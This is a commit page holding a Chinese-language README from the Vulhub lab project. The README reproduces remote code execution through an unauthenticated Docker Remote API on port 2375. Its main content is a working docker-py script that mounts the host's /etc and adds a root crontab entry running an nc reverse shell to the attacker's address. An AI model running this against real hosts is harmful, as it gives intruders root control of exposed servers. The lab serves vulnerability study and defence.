first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

View File

@@ -0,0 +1,46 @@
# Docker Remote API 未授权访问导致远程代码执行
Docker是一个提供容器化软件打包和交付的平台即服务PaaS解决方案。Docker守护进程dockerd提供了一个REST API允许远程管理Docker容器、镜像和其他资源。
当Docker守护进程被配置为监听网络端口通常是TCP端口2375且未启用适当的身份验证机制时攻击者可以未经授权访问Docker API。利用此漏洞攻击者可以在主机系统上创建、修改和执行容器可能导致远程代码执行、数据窃取以及完全控制主机系统。
- <https://docs.docker.com/engine/security/protect-access/>
- <https://tttang.com/archive/357/>
## 环境搭建
执行以下命令启动存在漏洞的Docker环境
```
docker compose build
docker compose up -d
```
环境启动后Docker守护进程将在2375端口上监听且不需要任何身份验证。
## 漏洞复现
这个漏洞可以使用Python的docker-py库进行利用。攻击方法是创建一个新容器并挂载主机的/etc目录这样攻击者就能修改系统关键文件。在这个示例中我们将通过添加一个恶意的crontab条目来创建反弹shell以演示漏洞的危害。
首先安装所需的Python库
```
pip install docker
```
然后创建并运行以下Python脚本来利用漏洞
```python
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
```
这个脚本创建了一个容器,挂载主机的/etc目录并向root用户的crontab添加一个反弹shell命令。在一分钟内cron守护进程将执行该命令建立一个反弹shell连接到攻击者的机器。
成功利用漏洞后可以收到反弹shell连接
![反弹Shell利用](1.png)
这个漏洞展示了正确保护Docker守护进程访问和为远程API端点实施身份验证机制的重要性。